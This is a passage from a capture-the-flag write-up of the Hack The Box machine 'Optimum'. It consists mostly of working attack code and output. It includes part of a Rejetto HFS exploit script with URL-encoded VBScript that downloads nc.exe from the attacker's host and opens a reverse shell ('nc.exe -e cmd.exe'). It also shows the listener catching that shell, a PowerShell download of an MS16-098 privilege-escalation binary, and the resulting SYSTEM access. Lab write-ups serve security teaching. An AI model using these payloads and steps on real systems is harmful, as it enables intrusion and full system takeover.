vbs = "C:\Users\Public\script.vbs|dim%20xHttp%3A%20Set%20xHttp%20%3D%20createobject(%22Microsoft.XMLHTTP%22)%0D%0Adim%20bStrm%3A%20Set%20bStrm%20%3D%20createobject(%22Adodb.Stream%22)%0D%0AxHttp.Open%20%22GET%22%2C%20%22http%3A%2F%2F"+ip_addr+"%2Fnc.exe%22%2C%20False%0D%0AxHttp.Send%0D%0A%0D%0Awith%20bStrm%0D%0A%20%20%20%20.type%20%3D%201%20%27%2F%2Fbinary%0D%0A%20%20%20%20.open%0D%0A%20%20%20%20.write%20xHttp.responseBody%0D%0A%20%20%20%20.savetofile%20%22C%3A%5CUsers%5CPublic%5Cnc.exe%22%2C%202%20%27%2F%2Foverwrite%0D%0Aend%20with"
save= "save|" + vbs
vbs2 = "cscript.exe%20C%3A%5CUsers%5CPublic%5Cscript.vbs"
exe= "exec|"+vbs2
vbs3 = "C%3A%5CUsers%5CPublic%5Cnc.exe%20-e%20cmd.exe%20"+ip_addr+"%20"+local_port
exe1= "exec|"+vbs3
script_create()
execute_script()
nc_run()
except:
print """[.]Something went wrong..!
Usage is :[.] python exploit.py <Target IP address> <Target Port Number>
Don't forgot to change the Local IP address and Port number on the script"""

root@kali:~/htb/optimum#

We need to host netcat (http://attackers_ip:80/nc.exe) using a web server. and make sure we have changed the local IP and port inside the script and run:

c:\Python27>python.exe Rejetto-exploit.py 10.10.10.8 80
c:\Python37>python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.8 - - [06/Feb/2019 20:29:07] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.8 - - [06/Feb/2019 20:29:07] "GET /nc.exe HTTP/1.1" 200 -
Microsoft Windows [Version 10.0.17134.523]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\jacco>nc -lvp 443
listening on [any] 443 ...
10.10.10.8: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.8] 49350: NO_DATA
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\kostas\Desktop>whoami
whoami
optimum\kostas
C:\Users\kostas\Desktop>type user.txt.txt
type user.txt.txt
d0c*****f73

PrivEsc: MS Windows 8.1 (x64) – ‘RGNOBJ’ Integer Overflow (MS16-098)

C:\Users\kostas\Desktop>powershell -c "Invoke-WebRequest -Uri http://10.10.14.20/ms16-098.exe -OutFile C:\Users\kostas\Desktop\puck.exe"
powershell -c "Invoke-WebRequest -Uri http://10.10.14.15/41020.exe -OutFile C:\Users\kostas\Desktop\puck.exe"

C:\Users\kostas\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is D0BC-0196

Directory of C:\Users\kostas\Desktop

13/02/2019 06:43 ºú <DIR> .
13/02/2019 06:43 ºú <DIR> ..
13/02/2019 01:56 ºú <DIR> %TEMP%
18/03/2017 02:11 úú 760.320 hfs.exe
13/02/2019 06:44 ºú 560.128 puck.exe
18/03/2017 02:13 úú 32 user.txt.txt
6 File(s) 2.029.687 bytes
3 Dir(s) 31.859.699.712 bytes free

C:\Users\kostas\Desktop>puck.exe
puck.exe
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\kostas\Desktop>whoami
whoami
nt authority\system
C:\Users\kostas\Desktop>type c:\users\administrator\desktop\root.txt
type c:\users\administrator\desktop\root.txt
51e*****eed

Author: Jacco Straathof